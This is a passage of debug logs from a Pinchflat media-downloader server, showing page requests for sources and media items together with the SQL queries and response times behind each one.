8ms 06:45:57.906 [info] GET /sources/30 06:45:57.906 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:45:57.908 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=555.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:57.909 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=556.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:57.911 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=557.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:45:57.912 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=558.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:45:57.912 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=558.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.913 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.913 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:57.914 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:57.915 [debug] QUERY OK source="media_items" db=0.5ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:45:57.916 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:45:57.917 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:57.917 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:45:57.918 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:45:57.919 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:57.920 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:45:57.921 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:45:57.922 [info] Sent 200 in 15ms 06:45:58.486 [info] GET /sources/31/media/141299 06:45:58.486 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 06:45:58.488 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=569.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 06:45:58.490 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=570.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 06:45:58.490 [debug] QUERY OK source="sources" db=1.0ms idle=569.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:58.491 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=569.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 06:45:58.492 [debug] QUERY OK source="settings" db=0.1ms idle=167.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.492 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.493 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.494 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:58.495 [info] Sent 200 in 9ms 06:45:58.886 [info] GET /sources/31/media/141080 06:45:58.886 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 06:45:58.886 [debug] QUERY OK source="media_items" db=0.1ms idle=394.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 06:45:58.887 [debug] QUERY OK source="tasks" db=0.2ms idle=394.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 06:45:58.887 [debug] QUERY OK source="sources" db=0.3ms idle=394.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:58.887 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=394.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 06:45:58.888 [debug] QUERY OK source="settings" db=0.1ms idle=393.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.888 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.888 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:58.889 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:58.891 [info] Sent 200 in 4ms 06:45:59.496 [info] GET /sources/30/media/141039 06:45:59.497 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 06:45:59.498 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=609.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 06:45:59.500 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=610.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 06:45:59.500 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=610.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:45:59.501 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=611.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 06:45:59.502 [debug] QUERY OK source="settings" db=0.2ms idle=174.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.502 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.503 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.503 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:59.505 [info] Sent 200 in 8ms 06:45:59.957 [info] GET /sources/31/media/91114 06:45:59.957 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 06:45:59.958 [debug] QUERY OK source="media_items" db=0.6ms idle=456.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:45:59.960 [debug] QUERY OK source="tasks" db=0.9ms idle=457.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 06:45:59.960 [debug] QUERY OK source="sources" db=1.1ms idle=457.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:59.962 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=458.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 06:45:59.963 [debug] QUERY OK source="settings" db=0.0ms idle=459.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.963 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.963 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:59.964 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:45:59.967 [info] Sent 200 in 10ms 06:46:00.067 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:00.436 [info] GET /sources/31/media/90907 06:46:00.437 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 06:46:00.438 [debug] QUERY OK source="media_items" db=0.5ms idle=474.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 06:46:00.439 [debug] QUERY OK source="tasks" db=0.8ms idle=475.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY 